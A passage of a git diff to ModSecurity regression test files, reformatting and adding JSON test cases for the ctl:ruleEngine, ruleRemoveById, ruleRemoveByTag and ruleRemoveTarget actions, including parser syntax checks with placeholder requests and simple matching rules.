"ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"GET", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to DetectionOnly as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to DetectionOnly as requested by a ctl:ruleEngine action", "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RuleEngine=DetectionOnly,log,phase:3,block,deny,status:302\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"GET", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to DetectionOnly as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to DetectionOnly as requested by a ctl:ruleEngine action", "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,log,phase:3,block,deny,status:302,ctl:RuleEngine=DetectionOnly\"" ] diff --git a/test/test-cases/regression/action-ctl_rule_remove_by_id.json b/test/test-cases/regression/action-ctl_rule_remove_by_id.json index 77fb157798..673e9e5ff5 100644 --- a/test/test-cases/regression/action-ctl_rule_remove_by_id.json +++ b/test/test-cases/regression/action-ctl_rule_remove_by_id.json @@ -1,66 +1,133 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoteById (1)", - "expected":{ - "debug_log": "Rule id: 1 was skipped due to a ruleRemoveById action..." + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoteById (1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "uri": "/wp-login.php?whee=something&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule id: 1 was skipped due to a ruleRemoveById action...", + "http_code": 200 }, - "rules":[ - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveById=1\"", - "SecRule ARGS \"@contais whe\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS'\"" + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveById=1\"", + "SecRule ARGS_NAMES \"@contains whee\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoteById (2)", - "expected":{ - "debug_log": "Target value: .*Variable: ARGS:pwd" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoteById (2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" + }, + "uri": "/wp-login.php?whee=something&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: .*Variable: ARGS_NAMES:whee", + "http_code": 200 + }, + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveById=123\"", + "SecRule ARGS_NAMES \"@contains whee\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveById syntax check (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Type": "text/xml", + "Content-Length": "0" + }, + "uri": "/wp-login.php?whee=something&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "parser_error": "Line: 1. Column: 113. Expecting an action, got: ctl:ruleRemoveById,123" }, - "rules":[ - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveById=123\"", - "SecRule ARGS \"@contais whe\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveById,123\"", + "SecRule ARGS_NAMES \"@contains whee\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" ] } ] diff --git a/test/test-cases/regression/action-ctl_rule_remove_by_tag.json b/test/test-cases/regression/action-ctl_rule_remove_by_tag.json index eea1c3b11d..1e8edb7f22 100644 --- a/test/test-cases/regression/action-ctl_rule_remove_by_tag.json +++ b/test/test-cases/regression/action-ctl_rule_remove_by_tag.json @@ -1,84 +1,139 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveByTag (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveByTag (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '2'. Skipped due to a ruleRemoveByTag action." + "expected": { + "debug_log": "Skipped rule id '2'. Skipped due to a ruleRemoveByTag action.", + "http_code": 200 }, - "rules":[ - "SecRule ARGS:key \".\" \"id:4,ctl:ruleRemoveByTag=tag123", + "rules": [ + "SecRule ARGS:key \".\" \"id:4,ctl:ruleRemoveByTag=tag123\"", "SecRule ARGS \"@contains test1\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test2\" \"id:2,pass,t:trim,tag:tag123\"", "SecRule ARGS \"@contains test3\" \"id:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing ctl:ruleRemoveByTag (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveByTag (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '3'. Skipped due to a ruleRemoveByTag action." + "expected": { + "debug_log": "Skipped rule id '3'. Skipped due to a ruleRemoveByTag action.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRule ARGS:key \".\" \"id:4,ctl:ruleRemoveByTag=whee\"", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:3,pass,t:trim,tag:whee\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing ctl:ruleRemoveByTag syntax check", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "parser_error": "Line: 1. Column: 54. Expecting an action, got: ctl:ruleRemoveByTag,whee" + }, + "rules": [ + "SecRule ARGS:key \".\" \"id:4,ctl:ruleRemoveByTag,whee\"" + ] } ] diff --git a/test/test-cases/regression/action-ctl_rule_remove_target_by_id.json b/test/test-cases/regression/action-ctl_rule_remove_target_by_id.json index 142ac6230e..f407afc3ad 100644 --- a/test/test-cases/regression/action-ctl_rule_remove_target_by_id.json +++ b/test/test-cases/regression/action-ctl_rule_remove_target_by_id.json @@ -1,99 +1,427 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoveTargetById (1)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById (1)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Type": "text/xml", + "Content-Length": "0" + }, + "uri": "/wp-login.php?whee&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "http_code": 200 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=1;ARGS:pwd\"", + "SecRule ARGS \"@contains lhebs\" \"id:1,phase:3,t:none,status:202,block,deny,tag:'CRS'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById (2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "uri": "/wp-login.php?whee=something&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: .*Variable: ARGS_NAMES:whee", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=1;ARGS:pwd\"", - "SecRule ARGS \"@contains lhebs\" \"id:1,phase:3,t:none,status:202,block,deny,tag:'CRS'\"" + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=123;ARGS:pwd\"", + "SecRule ARGS_NAMES \"@contains whee\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoveTargetById (2)", - "expected":{ - "debug_log": "Target value: .*Variable: ARGS:pwd" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById (3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "uri": "/wp-login.php?whee=something&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=123;ARGS:pwd\"", - "SecRule ARGS \"@contais whe\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=1;ARGS\"", + "SecRule ARGS \"@contains lhebs\" \"id:1,phase:3,t:none,status:202,block,deny,tag:'CRS'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoveTargetById (3)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById (4): uppercase `Referer` header", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Type": "text/xml", + "Referer": "This is an attack", + "Content-Length": "0" + }, + "uri": "/index.html", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "http_code": 200 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:1,phase:1,pass,t:none,ctl:ruleRemoveTargetById=2;REQUEST_HEADERS:referer\"", + "SecRule REQUEST_HEADERS:Referer \"@contains attack\" \"id:2,phase:1,deny,t:none,log\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById (5): lowercase `Referer` header", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "referer": "This is an attack", + "Content-Length": "0" + }, + "uri": "/index.html", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:1,phase:1,pass,t:none,ctl:ruleRemoveTargetById=2;REQUEST_HEADERS:referer\"", + "SecRule REQUEST_HEADERS:Referer \"@contains attack\" \"id:2,phase:1,deny,t:none,log\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById syntax I (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/index.html?@foo=attack", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": {}, + "body": [ + "" + ] + }, + "expected": { + "parser_error": "Line: 2. Column: 47. 1 is not a valid 'ID;VARIABLE'" + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /index.html\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=1,ARGS\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,t:none,status:403,block,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById syntax II (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/index.html?@foo=attack", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": {}, + "body": [ + "" + ] + }, + "expected": { + "parser_error": "Line: 2. Column: 120. Expecting an action, got: ctl:ruleRemoveTargetById,1,ARGS" + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /index.html\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById,1,ARGS\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,t:none,status:403,block,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById with @ character (Issue 3565)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/index.html?@foo=attack", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": {}, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /index.html\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=1;ARGS:@foo\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,t:none,status:403,block,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById with = character", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*" + }, + "uri": "/index.html?foo%3Dbar=attack", + "method": "GET" + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:9002100,phase:2,pass,ctl:ruleRemoveTargetById=1;ARGS:foo=bar\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,status:403,block,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById with ( and ) characters", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "uri": "/index.html?foo(bar)=attack", + "method": "GET" + }, + "expected": { + "http_code": 200 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:9002100,phase:2,pass,ctl:ruleRemoveTargetById=1;ARGS:foo(bar)\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,status:403,block,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoveTargetById with ' character", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*" + }, + "uri": "/index.html?foo'bar=attack", + "method": "GET" + }, + "expected": { + "http_code": 200 }, - "rules":[ - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetById=1;ARGS\"", - "SecRule ARGS \"@contains lhebs\" \"id:1,phase:3,t:none,status:202,block,deny,tag:'CRS'\"" + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@unconditionalMatch\" \"id:9002100,phase:2,pass,ctl:ruleRemoveTargetById=1;ARGS:foo'bar\"", + "SecRule ARGS \"@contains attack\" \"id:1,phase:3,status:403,block,deny\"" ] } ] diff --git a/test/test-cases/regression/action-ctl_rule_remove_target_by_tag.json b/test/test-cases/regression/action-ctl_rule_remove_target_by_tag.json index 027a078dc8..9f92cae4f7 100644 --- a/test/test-cases/regression/action-ctl_rule_remove_target_by_tag.json +++ b/test/test-cases/regression/action-ctl_rule_remove_target_by_tag.json @@ -1,99 +1,338 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoteTargetByTag (1)", - "expected":{ - "http_code": 200 + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoteTargetByTag (1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" + }, + "uri": "/wp-login.php?whee&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "rules":[ - "SecRuleEngine On", - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:pwd\"", - "SecRule ARGS \"@contains lhebs\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS',deny\"" + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:pwd\"", + "SecRule ARGS \"@contains lhebs\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoteTargetByTag (2)", - "expected":{ - "debug_log": "Target value: .*Variable: ARGS:pwd" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoteTargetByTag (2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" + }, + "uri": "/wp-login.php?whee&pwd=lhebs", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/wp-login.php?whee&pwd=lhebs", - "method":"GET", - "body": [ ] + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "Target value: .*Variable: ARGS_NAMES:pwd", + "http_code": 200 }, - "rules":[ - "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:pwd\"", - "SecRule ARGS \"@contais whe\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" + "rules": [ + "SecRule REQUEST_FILENAME \"@endsWith /wp-login.php\" \"id:9002100,phase:2,t:none,nolog,pass,ctl:ruleRemoveTargetByTag=CRS;ARGS:pwd\"", + "SecRule ARGS_NAMES \"@contains pwd\" \"id:1,phase:3,t:none,nolog,pass,tag:'CRS2'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleRemoteTargetByTag (3)", - "expected":{ - "debug_log": "Target value: .*Variable: ARGS:pwd" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleRemoteTargetByTag (3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "0" + }, + "uri": 